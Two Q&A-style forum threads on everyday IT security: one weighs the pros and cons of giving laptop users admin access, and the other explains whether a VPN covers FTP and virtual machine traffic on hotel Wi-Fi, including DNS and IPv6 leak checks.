It's just a question with a bunch of tradeoffs, and you'll have to decide from the perspective of your own organization what makes best sense for you.  The benefit of giving your users admin-level access is, as you identified, it may allow them to solve problems themselves, e.g., while on the road or while your support help desk is not open, or without contacting your support help desk.  The disadvantage is that it users now have the power to shoot themselves in the foot.  They can make changes to settings that render their system unreliable or unusable; they can install software that is malicious, bad, or just contrary to your organization's policy.  You may see those users later at your help desk asking you for help getting their laptop working, because they screwed it up (they may not even realize it is their own darn fault).  On the gripping hand, if you lock down users' laptops too tightly, and you have power users, they may come to resent the IT department for controlling things with such a tight fist, which is not good for your organization.

I would ask yourself what kind of relationship you want to have with your users, what level of support you want to provide, and what risks you want to accept or not accept.

For the most part, this has only a modest connection to security.  There are some increased security risks from giving users admin-level access on their own machines.  However, from a security perspective, even if users don't have admin-level access, they can still get infected by software that steals all their files, so it's not like withholding the administrator password somehow automatically eliminates all security risks.


Does VPNs even protect ftp and virtual machines connections? I have to go out for some days and I'll stay in a hotel.
During these days I will also have to work on some websites code and VMs that call external APIs.

Not being a system administrator nor a security specialist, my concerns are about someone can sniff the wireless traffic of my hotel room.

My question is:
Does turning-on a vpn protect all traffic that comes out from ones pc or I've to apply some specific configuration? Even the Filezilla and VirtualBox traffic would be encrypted?

I know few about this, but from what I know, my notebook will connect throught a secure tunnel, and once the request arrive at the other end of the VPN tunnel then there will be the open sea, and this is ok for me.
It would be just like connecting from home, using an ftp connection at home is not secure, but I'm confident that no one is sniffing me at home.

I just would like to know that the connection from the hotel room to the other VPN endpoint is encrypted even for ftp and VMs.
Beyond this I think that it would be the same as from my home, so using ftp and http will let someone else to read sent data.

I just wonna be sure that what I do in the room is not in plain text at least until the request reaches the VPN endpoint.

Any clarifications is appreciated

Thanks

If your VPN is configured properly all traffic is included. But, proper configuration is not guaranteed and in fact many VPN are not properly configured by default or cannot be configured properly at all. Typical problems are that they fail to support IPv6 or that the DNS lookup is still done through the local resolver and not through the VPN.

There are sites like dnsleaktest.com and ipv6leak.com which help you to determine if one of these typical problems affect you. It would be best to check this not only from the main system but from the virtual machines too to be sure.

The most secure way would be of course to use dedicated VPN hardware. In this case all traffic is going through this hardware and as long you don't have any additional network access (like WiFi in parallel to VPN) you can be more sure that there is no leak compared to a software only solution.